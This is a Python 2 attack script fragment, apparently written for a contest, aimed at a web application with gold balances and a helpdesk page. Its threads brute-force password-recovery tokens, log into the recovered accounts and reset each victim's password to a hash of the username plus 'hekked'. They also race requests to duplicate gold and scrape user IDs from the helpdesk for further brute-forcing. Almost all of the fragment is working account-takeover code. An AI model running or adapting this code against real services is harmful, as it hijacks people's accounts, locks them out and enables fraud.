def do_change(self, obj):
LOGGER.info('Changing password for: %s', obj.user)
req = urllib2.Request('http://{0}/change_password.php'.format(TARGET_HOST),
urllib.urlencode({
'password': obj.password,
'newpassword': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
'newpassword2': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
})
)
data = my_url_open(obj.opener, req)
if 'error' not in data:
LOGGER.critical('Password changed for user: %s', obj.user)
return True
def run(self):
while 1:
self.generate_opener()
data = self.brute_login(MY_LOGIN, MY_PASSWORD)
if 'Transactions' in data:
LOGGER.info('Account protected')
else:
LOGGER.critical('Our account hacked!')
if self.dup_gold:
obj = account_data(MY_LOGIN, MY_PASSWORD, data, self.opener)
RaceObject.set_obj(obj)
with RaceObject.RaceLock:
RaceObject.RaceLock.notify()
RaceObject.RaceLock.wait()
time.sleep(0.05)
def run(self):
while 1:
self.generate_opener()
account = RECOVER.get()
LOGGER.info('Trying to recover: %s', account)
if account in known_users:
continue
if not self.pre_test(account):
LOGGER.info('Impossible to recover: %s', account)
continue
for i in xrange(1, 251):
data = self.brute_one(account, i)
if 'Identifier not found' in data:
break
if 'repeat' in data:
continue
result = NEW_PASSWORD.search(data)
if result:
data = self.do_login(account, result.group(1))
if self.check(data):
LOGGER.critical('RECOVERED: %s %s', account, result.group(1))
add_good(account, result.group(1), data, self.opener)
break
for i in xrange(1):
change = Changer()
change.start()
for i in xrange(1): # TODO: Conflicts with stealer, can be just nullified
recov = Recover()
recov.start()
for i in xrange(2):
enemy = Bruter_Enemy()
enemy.start()
data = get_helpdesk()
logins = re.findall('(?msi)<td>(\d+)</td>[^<]*<td>[^<]*</td>[^<]*<td>(\d+)</td>', data)
LOGGER.critical("%r", logins)
if 1 and logins:
creator = OrderedSet()
map(lambda x: creator.add(x[1]), logins)
for login in logins:
with open('users{0}.txt'.format(login[1].strip()), 'wb') as f:
f.write('{0}\n'.format(login[0].strip()))
map(lambda x: Generator_numeric(int(x)).start(), creator)
#exit()
